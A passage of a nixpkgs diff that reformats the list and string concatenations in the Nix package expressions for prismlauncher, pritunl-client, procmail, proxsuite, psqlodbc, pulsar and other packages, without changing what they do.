diff --git a/pkgs/by-name/pr/prismlauncher-unwrapped/package.nix b/pkgs/by-name/pr/prismlauncher-unwrapped/package.nix
index d05ab5abcb56..c08ca124feae 100644
--- a/pkgs/by-name/pr/prismlauncher-unwrapped/package.nix
+++ b/pkgs/by-name/pr/prismlauncher-unwrapped/package.nix
@@ -71,28 +71,28 @@ stdenv.mkDerivation (finalAttrs: {
     kdePackages.quazip
     tomlplusplus
     zlib
-  ] ++ lib.optional gamemodeSupport gamemode;
+  ]
+  ++ lib.optional gamemodeSupport gamemode;
 
   hardeningEnable = lib.optionals stdenv.hostPlatform.isLinux [ "pie" ];
 
-  cmakeFlags =
-    [
-      # downstream branding
-      (lib.cmakeFeature "Launcher_BUILD_PLATFORM" "nixpkgs")
-    ]
-    ++ lib.optionals (msaClientID != null) [
-      (lib.cmakeFeature "Launcher_MSA_CLIENT_ID" (toString msaClientID))
-    ]
-    ++ lib.optionals (lib.versionOlder kdePackages.qtbase.version "6") [
-      (lib.cmakeFeature "Launcher_QT_VERSION_MAJOR" "5")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # we wrap our binary manually
-      (lib.cmakeFeature "INSTALL_BUNDLE" "nodeps")
-      # disable built-in updater
-      (lib.cmakeFeature "MACOSX_SPARKLE_UPDATE_FEED_URL" "''")
-      (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" "${placeholder "out"}/Applications/")
-    ];
+  cmakeFlags = [
+    # downstream branding
+    (lib.cmakeFeature "Launcher_BUILD_PLATFORM" "nixpkgs")
+  ]
+  ++ lib.optionals (msaClientID != null) [
+    (lib.cmakeFeature "Launcher_MSA_CLIENT_ID" (toString msaClientID))
+  ]
+  ++ lib.optionals (lib.versionOlder kdePackages.qtbase.version "6") [
+    (lib.cmakeFeature "Launcher_QT_VERSION_MAJOR" "5")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # we wrap our binary manually
+    (lib.cmakeFeature "INSTALL_BUNDLE" "nodeps")
+    # disable built-in updater
+    (lib.cmakeFeature "MACOSX_SPARKLE_UPDATE_FEED_URL" "''")
+    (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" "${placeholder "out"}/Applications/")
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/pr/prismlauncher/package.nix b/pkgs/by-name/pr/prismlauncher/package.nix
index 03c1f0421530..01edd0d9a2bb 100644
--- a/pkgs/by-name/pr/prismlauncher/package.nix
+++ b/pkgs/by-name/pr/prismlauncher/package.nix
@@ -61,14 +61,13 @@ symlinkJoin {
 
   nativeBuildInputs = [ kdePackages.wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      kdePackages.qtbase
-      kdePackages.qtsvg
-    ]
-    ++ lib.optional (
-      lib.versionAtLeast kdePackages.qtbase.version "6" && stdenv.hostPlatform.isLinux
-    ) kdePackages.qtwayland;
+  buildInputs = [
+    kdePackages.qtbase
+    kdePackages.qtsvg
+  ]
+  ++ lib.optional (
+    lib.versionAtLeast kdePackages.qtbase.version "6" && stdenv.hostPlatform.isLinux
+  ) kdePackages.qtwayland;
 
   postBuild = ''
     wrapQtAppsHook
@@ -76,41 +75,41 @@ symlinkJoin {
 
   qtWrapperArgs =
     let
-      runtimeLibs =
-        [
-          (lib.getLib stdenv.cc.cc)
-          ## native versions
-          glfw3-minecraft
-          openal
+      runtimeLibs = [
+        (lib.getLib stdenv.cc.cc)
+        ## native versions
+        glfw3-minecraft
+        openal
 
-          ## openal
-          alsa-lib
-          libjack2
-          libpulseaudio
-          pipewire
+        ## openal
+        alsa-lib
+        libjack2
+        libpulseaudio
+        pipewire
 
-          ## glfw
-          libGL
-          libX11
-          libXcursor
-          libXext
-          libXrandr
-          libXxf86vm
+        ## glfw
+        libGL
+        libX11
+        libXcursor
+        libXext
+        libXrandr
+        libXxf86vm
 
-          udev # oshi
+        udev # oshi
 
-          vulkan-loader # VulkanMod's lwjgl
-        ]
-        ++ lib.optional textToSpeechSupport flite
-        ++ lib.optional gamemodeSupport gamemode.lib
-        ++ lib.optional controllerSupport libusb1
-        ++ additionalLibs;
+        vulkan-loader # VulkanMod's lwjgl
+      ]
+      ++ lib.optional textToSpeechSupport flite
+      ++ lib.optional gamemodeSupport gamemode.lib
+      ++ lib.optional controllerSupport libusb1
+      ++ additionalLibs;
 
       runtimePrograms = [
         mesa-demos
         pciutils # need lspci
         xrandr # needed for LWJGL [2.9.2, 3) https://github.com/LWJGL/lwjgl/issues/128
-      ] ++ additionalPrograms;
+      ]
+      ++ additionalPrograms;
 
     in
     [ "--prefix PRISMLAUNCHER_JAVA_PATHS : ${lib.makeSearchPath "bin/java" jdks}" ]
diff --git a/pkgs/by-name/pr/pritunl-client/package.nix b/pkgs/by-name/pr/pritunl-client/package.nix
index d4177d008d9b..16340c2d4ed3 100644
--- a/pkgs/by-name/pr/pritunl-client/package.nix
+++ b/pkgs/by-name/pr/pritunl-client/package.nix
@@ -49,43 +49,40 @@ let
 
     nativeBuildInputs = [ makeWrapper ];
 
-    postPatch =
-      ''
-        sed -Ei service/connection/scripts.go \
-          -e 's|#!\s*(/usr)?/bin/(env )?bash\b|#! ${runtimeShell}|g'
-      ''
-      + lib.optionalString stdenv.hostPlatform.isLinux ''
-        sed -Ei service/connection/scripts.go \
-          -e 's|(/usr)?/s?bin/busctl\b|busctl|g' \
-          -e 's|(/usr)?/s?bin/resolvectl\b|resolvectl|g' \
-          -e 's|(/usr)?/s?bin/ip\b|ip|g'
-      '';
+    postPatch = ''
+      sed -Ei service/connection/scripts.go \
+        -e 's|#!\s*(/usr)?/bin/(env )?bash\b|#! ${runtimeShell}|g'
+    ''
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
+      sed -Ei service/connection/scripts.go \
+        -e 's|(/usr)?/s?bin/busctl\b|busctl|g' \
+        -e 's|(/usr)?/s?bin/resolvectl\b|resolvectl|g' \
+        -e 's|(/usr)?/s?bin/ip\b|ip|g'
+    '';
 
-    postInstall =
-      ''
-        mv $out/bin/service $out/bin/pritunl-client-service
-      ''
-      + lib.optionalString stdenv.hostPlatform.isLinux ''
-        mkdir -p $out/lib/systemd/system/
-        cp $src/resources_linux/pritunl-client.service $out/lib/systemd/system/
-        substituteInPlace $out/lib/systemd/system/pritunl-client.service \
-          --replace-warn "/usr" "$out"
-      '';
+    postInstall = ''
+      mv $out/bin/service $out/bin/pritunl-client-service
+    ''
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
+      mkdir -p $out/lib/systemd/system/
+      cp $src/resources_linux/pritunl-client.service $out/lib/systemd/system/
+      substituteInPlace $out/lib/systemd/system/pritunl-client.service \
+        --replace-warn "/usr" "$out"
+    '';
 
     postFixup =
       let
-        hookScriptsDeps =
-          [
-            coreutils
-            which
-            gnused
-            gnugrep
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isLinux [
-            openresolv
-            systemd
-            iproute2
-          ];
+        hookScriptsDeps = [
+          coreutils
+          which
+          gnused
+          gnugrep
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isLinux [
+          openresolv
+          systemd
+          iproute2
+        ];
         openvpn-wrapped =
           runCommand "openvpn-wrapped"
             {
@@ -117,42 +114,41 @@ stdenv.mkDerivation {
     installShellFiles
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/bin/
-      ln -s ${cli}/bin/pritunl-client $out/bin/
-      ln -s ${service}/bin/pritunl-client-service $out/bin/
+    mkdir -p $out/bin/
+    ln -s ${cli}/bin/pritunl-client $out/bin/
+    ln -s ${service}/bin/pritunl-client-service $out/bin/
 
-      mkdir -p $out/lib/
-      cp -r client $out/lib/pritunl_client_electron
+    mkdir -p $out/lib/
+    cp -r client $out/lib/pritunl_client_electron
 
-      makeWrapper ${electron}/bin/electron $out/bin/pritunl-client-electron \
-        --add-flags $out/lib/pritunl_client_electron
+    makeWrapper ${electron}/bin/electron $out/bin/pritunl-client-electron \
+      --add-flags $out/lib/pritunl_client_electron
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $out/lib/systemd/system/
-      ln -s ${service}/lib/systemd/system/pritunl-client.service $out/lib/systemd/system/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $out/lib/systemd/system/
+    ln -s ${service}/lib/systemd/system/pritunl-client.service $out/lib/systemd/system/
 
-      mkdir -p $out/share/icons/
-      cp -r resources_linux/icons $out/share/icons/hicolor
+    mkdir -p $out/share/icons/
+    cp -r resources_linux/icons $out/share/icons/hicolor
 
-      mkdir -p $out/share/applications/
-      cp resources_linux/pritunl-client-electron.desktop $out/share/applications/
-      substituteInPlace $out/share/applications/pritunl-client-electron.desktop \
-        --replace-fail "/usr/lib/pritunl_client_electron/Pritunl" "$out/bin/pritunl-client-electron"
-    ''
-    + ''
-      # install shell completions for pritunl-client
-      installShellCompletion --cmd pritunl-client \
-        --bash <($out/bin/pritunl-client completion bash) \
-        --fish <($out/bin/pritunl-client completion fish) \
-        --zsh <($out/bin/pritunl-client completion zsh)
+    mkdir -p $out/share/applications/
+    cp resources_linux/pritunl-client-electron.desktop $out/share/applications/
+    substituteInPlace $out/share/applications/pritunl-client-electron.desktop \
+      --replace-fail "/usr/lib/pritunl_client_electron/Pritunl" "$out/bin/pritunl-client-electron"
+  ''
+  + ''
+    # install shell completions for pritunl-client
+    installShellCompletion --cmd pritunl-client \
+      --bash <($out/bin/pritunl-client completion bash) \
+      --fish <($out/bin/pritunl-client completion fish) \
+      --zsh <($out/bin/pritunl-client completion zsh)
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   passthru.updateScript = nix-update-script { };
   meta = with lib; {
diff --git a/pkgs/by-name/pr/procmail/package.nix b/pkgs/by-name/pr/procmail/package.nix
index 47f77406421d..86423a3ff491 100644
--- a/pkgs/by-name/pr/procmail/package.nix
+++ b/pkgs/by-name/pr/procmail/package.nix
@@ -30,25 +30,24 @@ stdenv.mkDerivation rec {
 
   # getline is defined differently in glibc now. So rename it.
   # Without the .PHONY target "make install" won't install anything on Darwin.
-  postPatch =
-    ''
-      sed -i Makefile \
-        -e "s%^RM.*$%#%" \
-        -e "s%^BASENAME.*%\BASENAME=$out%" \
-        -e "s%^LIBS=.*%LIBS=-lm%"
-      sed -e "s%getline%thisgetline%g" -i src/*.c src/*.h
-      sed -e "3i\
-      .PHONY: install
-      " -i Makefile
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      substituteInPlace src/Makefile.0 \
-        --replace-fail '@./_autotst' '@${stdenv.hostPlatform.emulator buildPackages} ./_autotst'
-      sed -e '3i\
-      _autotst() { ${stdenv.hostPlatform.emulator buildPackages} ./_autotst "$@"; } \
-      _locktst() { ${stdenv.hostPlatform.emulator buildPackages} ./_locktst "$@"; } \
-      ' -i src/autoconf
-    '';
+  postPatch = ''
+    sed -i Makefile \
+      -e "s%^RM.*$%#%" \
+      -e "s%^BASENAME.*%\BASENAME=$out%" \
+      -e "s%^LIBS=.*%LIBS=-lm%"
+    sed -e "s%getline%thisgetline%g" -i src/*.c src/*.h
+    sed -e "3i\
+    .PHONY: install
+    " -i Makefile
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    substituteInPlace src/Makefile.0 \
+      --replace-fail '@./_autotst' '@${stdenv.hostPlatform.emulator buildPackages} ./_autotst'
+    sed -e '3i\
+    _autotst() { ${stdenv.hostPlatform.emulator buildPackages} ./_autotst "$@"; } \
+    _locktst() { ${stdenv.hostPlatform.emulator buildPackages} ./_locktst "$@"; } \
+    ' -i src/autoconf
+  '';
 
   # default target is binaries + manpages; manpages don't cross compile without more work.
   makeFlags = lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ "bins" ];
diff --git a/pkgs/by-name/pr/procs/package.nix b/pkgs/by-name/pr/procs/package.nix
index 71136f1d5cff..53f4f55efffb 100644
--- a/pkgs/by-name/pr/procs/package.nix
+++ b/pkgs/by-name/pr/procs/package.nix
@@ -24,7 +24,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
 
   postInstall = ''
     for shell in bash fish zsh; do
diff --git a/pkgs/by-name/pr/professor/package.nix b/pkgs/by-name/pr/professor/package.nix
index b207152bddc4..97cfa9044212 100644
--- a/pkgs/by-name/pr/professor/package.nix
+++ b/pkgs/by-name/pr/professor/package.nix
@@ -22,15 +22,14 @@ stdenv.mkDerivation {
     '';
   };
 
-  postPatch =
-    ''
-      substituteInPlace Makefile \
-        --replace-fail 'pip install ' 'pip install --prefix $(out) '
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Makefile \
-        --replace-fail '-shared -o' '-shared -install_name "$(out)/$@" -o'
-    '';
+  postPatch = ''
+    substituteInPlace Makefile \
+      --replace-fail 'pip install ' 'pip install --prefix $(out) '
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Makefile \
+      --replace-fail '-shared -o' '-shared -install_name "$(out)/$@" -o'
+  '';
 
   nativeBuildInputs = [
     python3.pkgs.cython
diff --git a/pkgs/by-name/pr/prometheus-borgmatic-exporter/package.nix b/pkgs/by-name/pr/prometheus-borgmatic-exporter/package.nix
index 22adf7359e51..a90ba0040d4a 100644
--- a/pkgs/by-name/pr/prometheus-borgmatic-exporter/package.nix
+++ b/pkgs/by-name/pr/prometheus-borgmatic-exporter/package.nix
@@ -21,18 +21,19 @@ python3Packages.buildPythonApplication rec {
 
   build-system = with python3Packages; [ poetry-core ];
 
-  propagatedBuildInputs =
-    [ borgmatic ]
-    ++ (with python3Packages; [
-      arrow
-      click
-      flask
-      loguru
-      pretty-errors
-      prometheus-client
-      timy
-      waitress
-    ]);
+  propagatedBuildInputs = [
+    borgmatic
+  ]
+  ++ (with python3Packages; [
+    arrow
+    click
+    flask
+    loguru
+    pretty-errors
+    prometheus-client
+    timy
+    waitress
+  ]);
 
   nativeCheckInputs = with python3Packages; [
     pytestCheckHook
diff --git a/pkgs/by-name/pr/proot/package.nix b/pkgs/by-name/pr/proot/package.nix
index b3fb0a36629d..5d0ab0d04402 100644
--- a/pkgs/by-name/pr/proot/package.nix
+++ b/pkgs/by-name/pr/proot/package.nix
@@ -33,11 +33,13 @@ stdenv.mkDerivation rec {
   buildInputs = [
     ncurses
     talloc
-  ] ++ lib.optional enablePython python3;
+  ]
+  ++ lib.optional enablePython python3;
   nativeBuildInputs = [
     pkg-config
     docutils
-  ] ++ lib.optional enablePython swig;
+  ]
+  ++ lib.optional enablePython swig;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/pr/proxsuite-nlp/package.nix b/pkgs/by-name/pr/proxsuite-nlp/package.nix
index 02b473ce1b90..8ec4d08628f0 100644
--- a/pkgs/by-name/pr/proxsuite-nlp/package.nix
+++ b/pkgs/by-name/pr/proxsuite-nlp/package.nix
@@ -37,21 +37,21 @@ stdenv.mkDerivation (finalAttrs: {
     doxygen
     graphviz
     pkg-config
-  ] ++ lib.optional pythonSupport python3Packages.pythonImportsCheckHook;
+  ]
+  ++ lib.optional pythonSupport python3Packages.pythonImportsCheckHook;
   checkInputs = [ eigenrand ] ++ lib.optional pythonSupport python3Packages.pytest;
-  propagatedBuildInputs =
-    [
-      example-robot-data
-      fmt
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.pinocchio
-      python3Packages.proxsuite
-    ]
-    ++ lib.optionals (!pythonSupport) [
-      pinocchio
-      proxsuite
-    ];
+  propagatedBuildInputs = [
+    example-robot-data
+    fmt
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.pinocchio
+    python3Packages.proxsuite
+  ]
+  ++ lib.optionals (!pythonSupport) [
+    pinocchio
+    proxsuite
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
diff --git a/pkgs/by-name/pr/proxsuite/package.nix b/pkgs/by-name/pr/proxsuite/package.nix
index 0acf7886422f..ab5fd4373e68 100644
--- a/pkgs/by-name/pr/proxsuite/package.nix
+++ b/pkgs/by-name/pr/proxsuite/package.nix
@@ -40,15 +40,14 @@ stdenv.mkDerivation (finalAttrs: {
     "out"
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_DOCUMENTATION" true)
-      (lib.cmakeBool "INSTALL_DOCUMENTATION" true)
-      (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
-      "-DCMAKE_CTEST_ARGUMENTS=--exclude-regex;ProxQP::dense: test primal infeasibility solving"
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_DOCUMENTATION" true)
+    (lib.cmakeBool "INSTALL_DOCUMENTATION" true)
+    (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
+    "-DCMAKE_CTEST_ARGUMENTS=--exclude-regex;ProxQP::dense: test primal infeasibility solving"
+  ];
 
   strictDeps = true;
 
@@ -56,19 +55,22 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     doxygen
     graphviz
-  ] ++ lib.optional pythonSupport python3Packages.pythonImportsCheckHook;
+  ]
+  ++ lib.optional pythonSupport python3Packages.pythonImportsCheckHook;
   propagatedBuildInputs = [
     cereal_1_3_2
     eigen
     jrl-cmakemodules
     simde
-  ] ++ lib.optionals pythonSupport [ python3Packages.pybind11 ];
-  checkInputs =
-    [ matio ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.numpy
-      python3Packages.scipy
-    ];
+  ]
+  ++ lib.optionals pythonSupport [ python3Packages.pybind11 ];
+  checkInputs = [
+    matio
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.numpy
+    python3Packages.scipy
+  ];
 
   # Fontconfig error: Cannot load default config file: No such file: (null)
   env.FONTCONFIG_FILE = "${fontconfig.out}/etc/fonts/fonts.conf";
diff --git a/pkgs/by-name/ps/psc-package/package.nix b/pkgs/by-name/ps/psc-package/package.nix
index 0b69b4db9bd0..d40b058aed59 100644
--- a/pkgs/by-name/ps/psc-package/package.nix
+++ b/pkgs/by-name/ps/psc-package/package.nix
@@ -40,31 +40,30 @@ stdenv.mkDerivation rec {
 
   dontStrip = true;
 
-  installPhase =
-    ''
-      mkdir -p $out/bin
+  installPhase = ''
+    mkdir -p $out/bin
 
-      PSC_PACKAGE=$out/bin/psc-package
+    PSC_PACKAGE=$out/bin/psc-package
 
-      install -D -m555 -T psc-package $PSC_PACKAGE
-      chmod u+w $PSC_PACKAGE
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool \
-        -change /usr/lib/libiconv.2.dylib ${libiconv}/libiconv.2.dylib \
-        $PSC_PACKAGE
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      patchelf --interpreter ${dynamic-linker} --set-rpath ${libPath} $PSC_PACKAGE
-    ''
-    + ''
-      chmod u-w $PSC_PACKAGE
+    install -D -m555 -T psc-package $PSC_PACKAGE
+    chmod u+w $PSC_PACKAGE
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool \
+      -change /usr/lib/libiconv.2.dylib ${libiconv}/libiconv.2.dylib \
+      $PSC_PACKAGE
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    patchelf --interpreter ${dynamic-linker} --set-rpath ${libPath} $PSC_PACKAGE
+  ''
+  + ''
+    chmod u-w $PSC_PACKAGE
 
-      installShellCompletion --cmd psc-package \
-        --bash <($PSC_PACKAGE --bash-completion-script $PSC_PACKAGE) \
-        --fish <($PSC_PACKAGE --fish-completion-script $PSC_PACKAGE) \
-        --zsh <($PSC_PACKAGE --zsh-completion-script $PSC_PACKAGE)
-    '';
+    installShellCompletion --cmd psc-package \
+      --bash <($PSC_PACKAGE --bash-completion-script $PSC_PACKAGE) \
+      --fish <($PSC_PACKAGE --fish-completion-script $PSC_PACKAGE) \
+      --zsh <($PSC_PACKAGE --zsh-completion-script $PSC_PACKAGE)
+  '';
 
   meta = with lib; {
     description = "Package manager for PureScript based on package sets";
diff --git a/pkgs/by-name/ps/psqlodbc/package.nix b/pkgs/by-name/ps/psqlodbc/package.nix
index 9f86aabed1d4..40830628f11f 100644
--- a/pkgs/by-name/ps/psqlodbc/package.nix
+++ b/pkgs/by-name/ps/psqlodbc/package.nix
@@ -25,13 +25,12 @@ stdenv.mkDerivation rec {
     hash = "sha256-zCjoX+Ew8sS5TWkFSgoqUN5ukEF38kq+MdfgCQQGv9w=";
   };
 
-  buildInputs =
-    [
-      libpq
-      openssl
-    ]
-    ++ lib.optional withLibiodbc libiodbc
-    ++ lib.optional withUnixODBC unixODBC;
+  buildInputs = [
+    libpq
+    openssl
+  ]
+  ++ lib.optional withLibiodbc libiodbc
+  ++ lib.optional withUnixODBC unixODBC;
 
   nativeBuildInputs = [
     autoreconfHook
@@ -39,22 +38,20 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  passthru =
-    {
-      updateScript = nix-update-script { };
-    }
-    // lib.optionalAttrs withUnixODBC {
-      fancyName = "PostgreSQL";
-      driver = "lib/psqlodbcw.so";
-    };
+  passthru = {
+    updateScript = nix-update-script { };
+  }
+  // lib.optionalAttrs withUnixODBC {
+    fancyName = "PostgreSQL";
+    driver = "lib/psqlodbcw.so";
+  };
 
-  configureFlags =
-    [
-      "CPPFLAGS=-DSQLCOLATTRIBUTE_SQLLEN" # needed for cross
-      "--with-libpq=${lib.getDev libpq}"
-    ]
-    ++ lib.optional withLibiodbc "--with-iodbc=${libiodbc}"
-    ++ lib.optional withUnixODBC "--with-unixodbc=${unixODBC}";
+  configureFlags = [
+    "CPPFLAGS=-DSQLCOLATTRIBUTE_SQLLEN" # needed for cross
+    "--with-libpq=${lib.getDev libpq}"
+  ]
+  ++ lib.optional withLibiodbc "--with-iodbc=${libiodbc}"
+  ++ lib.optional withUnixODBC "--with-unixodbc=${unixODBC}";
 
   meta = with lib; {
     homepage = "https://odbc.postgresql.org/";
diff --git a/pkgs/by-name/ps/psst/package.nix b/pkgs/by-name/ps/psst/package.nix
index af702e84d0a5..a1e3cf3ef9b9 100644
--- a/pkgs/by-name/ps/psst/package.nix
+++ b/pkgs/by-name/ps/psst/package.nix
@@ -54,19 +54,18 @@ rustPlatform.buildRustPackage {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      atk
-      cairo
-      gdk-pixbuf
-      glib
-      gtk3
-      pango
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      dbus
-    ];
+  buildInputs = [
+    atk
+    cairo
+    gdk-pixbuf
+    glib
+    gtk3
+    pango
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    dbus
+  ];
 
   patches = [
     # Use a fixed build time, hard-code upstream URL instead of trying to read `.git`
diff --git a/pkgs/by-name/ps/pstoedit/package.nix b/pkgs/by-name/ps/pstoedit/package.nix
index 6b93fb4ec998..0f269ec8f099 100644
--- a/pkgs/by-name/ps/pstoedit/package.nix
+++ b/pkgs/by-name/ps/pstoedit/package.nix
@@ -36,19 +36,18 @@ stdenv.mkDerivation rec {
     makeWrapper
     pkg-config
   ];
-  buildInputs =
-    [
-      zlib
-      ghostscript
-      imagemagick
-      plotutils
-      gd
-      libjpeg
-      libwebp
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    zlib
+    ghostscript
+    imagemagick
+    plotutils
+    gd
+    libjpeg
+    libwebp
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   postInstall = ''
     wrapProgram $out/bin/pstoedit \
diff --git a/pkgs/by-name/pt/ptcollab/package.nix b/pkgs/by-name/pt/ptcollab/package.nix
index 372da09be9db..474faa94c122 100644
--- a/pkgs/by-name/pt/ptcollab/package.nix
+++ b/pkgs/by-name/pt/ptcollab/package.nix
@@ -20,25 +20,23 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-1fVhimwBAYtC+HnuxA7ywfEnVlqHnlzwfKT9+H/ZG0k=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ (with libsForQt5; [
-      qmake
-      qttools
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ (with libsForQt5; [
+    qmake
+    qttools
+    wrapQtAppsHook
+  ]);
 
-  buildInputs =
-    [
-      libvorbis
-      rtmidi
-    ]
-    ++ (with libsForQt5; [
-      qtbase
-      qtmultimedia
-    ]);
+  buildInputs = [
+    libvorbis
+    rtmidi
+  ]
+  ++ (with libsForQt5; [
+    qtbase
+    qtmultimedia
+  ]);
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     # Move appbundles to Applications before wrapping happens
diff --git a/pkgs/by-name/pu/pueue/package.nix b/pkgs/by-name/pu/pueue/package.nix
index 6412b1e21a8f..7674bcfc86a5 100644
--- a/pkgs/by-name/pu/pueue/package.nix
+++ b/pkgs/by-name/pu/pueue/package.nix
@@ -21,13 +21,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-R94D9/J+Zl86Rb4+5O2Hp9GmcwnRt+0wJ56CHFoy/zg=";
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      rustPlatform.bindgenHook
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    rustPlatform.bindgenHook
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
     libiconv
diff --git a/pkgs/by-name/pu/pulsar/package.nix b/pkgs/by-name/pu/pulsar/package.nix
index 3b5f7645d154..15b7390560f3 100644
--- a/pkgs/by-name/pu/pulsar/package.nix
+++ b/pkgs/by-name/pu/pulsar/package.nix
@@ -117,103 +117,101 @@ stdenv.mkDerivation {
     runHook postInstall
   '';
 
-  preFixup =
-    ''
-      gappsWrapperArgs+=(
-        # needed for gio executable to be able to delete files
-        --prefix "PATH" : "${lib.makeBinPath [ glib ]}"
-      )
-    ''
-    + lib.optionalString useHunspell ''
-      # On all platforms, we must inject our dictionnaries
-      ${hunspellCopyCommands}
-    '';
+  preFixup = ''
+    gappsWrapperArgs+=(
+      # needed for gio executable to be able to delete files
+      --prefix "PATH" : "${lib.makeBinPath [ glib ]}"
+    )
+  ''
+  + lib.optionalString useHunspell ''
+    # On all platforms, we must inject our dictionnaries
+    ${hunspellCopyCommands}
+  '';
 
-  postFixup =
-    ''
-      opt=$out/opt/Pulsar
-      # Patch the prebuilt binaries
-      patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
-        --set-rpath "${newLibpath}:$opt" \
-        --add-needed libffmpeg.so \
-        --add-needed libxshmfence.so.1 \
-        --add-needed libxkbcommon.so.0 \
-        --add-needed libxkbfile.so.1 \
-        --add-needed libsecret-1.so.0 \
-        $opt/pulsar
-      patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
-        --set-rpath "${newLibpath}" \
-        $opt/resources/app/ppm/bin/node
-      patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
-        $opt/resources/app.asar.unpacked/node_modules/symbol-provider-ctags/vendor/ctags-linux
+  postFixup = ''
+    opt=$out/opt/Pulsar
+    # Patch the prebuilt binaries
+    patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
+      --set-rpath "${newLibpath}:$opt" \
+      --add-needed libffmpeg.so \
+      --add-needed libxshmfence.so.1 \
+      --add-needed libxkbcommon.so.0 \
+      --add-needed libxkbfile.so.1 \
+      --add-needed libsecret-1.so.0 \
+      $opt/pulsar
+    patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
+      --set-rpath "${newLibpath}" \
+      $opt/resources/app/ppm/bin/node
+    patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
+      $opt/resources/app.asar.unpacked/node_modules/symbol-provider-ctags/vendor/ctags-linux
 
-      # Replace the bundled git with the one from nixpkgs
-      dugite=$opt/resources/app.asar.unpacked/node_modules/dugite
-      rm -f $dugite/git/bin/git
-      ln -s ${git}/bin/git $dugite/git/bin/git
+    # Replace the bundled git with the one from nixpkgs
+    dugite=$opt/resources/app.asar.unpacked/node_modules/dugite
+    rm -f $dugite/git/bin/git
+    ln -s ${git}/bin/git $dugite/git/bin/git
 
-      # Not only do we need to replace the git binary itself, we also need to replace
-      # all the symlinks in dugite/git/libexec/git-core.
-      for file in "$dugite/git/libexec/git-core"/*; do
-        if [ -x "$file" ] && file "$file" | grep -q "ELF"; then
-            # Remove ELF executable
-            rm "$file"
+    # Not only do we need to replace the git binary itself, we also need to replace
+    # all the symlinks in dugite/git/libexec/git-core.
+    for file in "$dugite/git/libexec/git-core"/*; do
+      if [ -x "$file" ] && file "$file" | grep -q "ELF"; then
+          # Remove ELF executable
+          rm "$file"
 
-            # Get the corresponding filename in nixpkgs's git
-            filename=$(basename "$file")
-            git_executable="${git}/libexec/git-core/$filename"
+          # Get the corresponding filename in nixpkgs's git
+          filename=$(basename "$file")
